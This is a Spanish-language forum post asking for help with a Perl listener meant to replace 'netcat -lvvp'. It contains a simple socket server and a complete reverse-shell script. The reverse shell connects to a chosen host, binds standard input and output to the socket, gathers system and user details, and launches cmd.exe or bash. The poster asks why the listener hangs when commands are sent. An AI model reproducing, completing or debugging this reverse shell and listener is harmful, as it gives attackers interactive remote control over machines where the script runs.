Hola, ando queriendo hacer un sustituto de
netcat en Perl para la opción de mantener un puerto abierto para recibir datos. La idea sería que sea como el comando
-lvvp de
netcat.
El código del
server que vendría a ser el sustituto de
netcat sería el código siguiente:
Using perl Syntax Highlighting
#!/usr/bin/perl -w
# serverIO.pl - a simple server using
# IO::Socket
use strict;
use IO::Socket;
my $sock = new IO::Socket::INET(
LocalHost => 'localhost',
LocalPort => 7890,
Proto => 'tcp',
Listen => SOMAXCONN,
Reuse => 1);
$sock or die "no socket :$!";
my($new_sock, $c_addr, $buf);
while (($new_sock, $c_addr) = $sock->accept()) {
my ($client_port, $c_ip) =
sockaddr_in($c_addr);
my $client_ipnum = inet_ntoa($c_ip);
my $client_host =
gethostbyaddr($c_ip, AF_INET);
print "got a connection from: $client_host",
" [$client_ipnum]\n";
while (defined ($buf = <$new_sock>)) {
print $buf;
}
}
Necesito hacer el
server para poder usar una
reverseshell la cual el código es el siguiente:
Using perl Syntax Highlighting
#!usr/bin/perl
#Reverse Shell 0.1
#By Doddy H
use IO::Socket;
print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
unless (@ARGV == 2) {
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
} else {
print "[+] Starting the connection\n";
print "[+] Enter in the system\n";
print "[+] Enjoy !!!\n\n";
conectar($ARGV[0],$ARGV[1]);
tipo();
}
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root();
system("bin/bash");
}
}
sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
}
#The End
Cuando realizo las pruebas la
reverseshell se conecta al
server pero el
server muestra la información del
reverseshell pero se queda colgado cuando se tienen que ejecutar comandos.
¿ Alguien puede ayudarme ?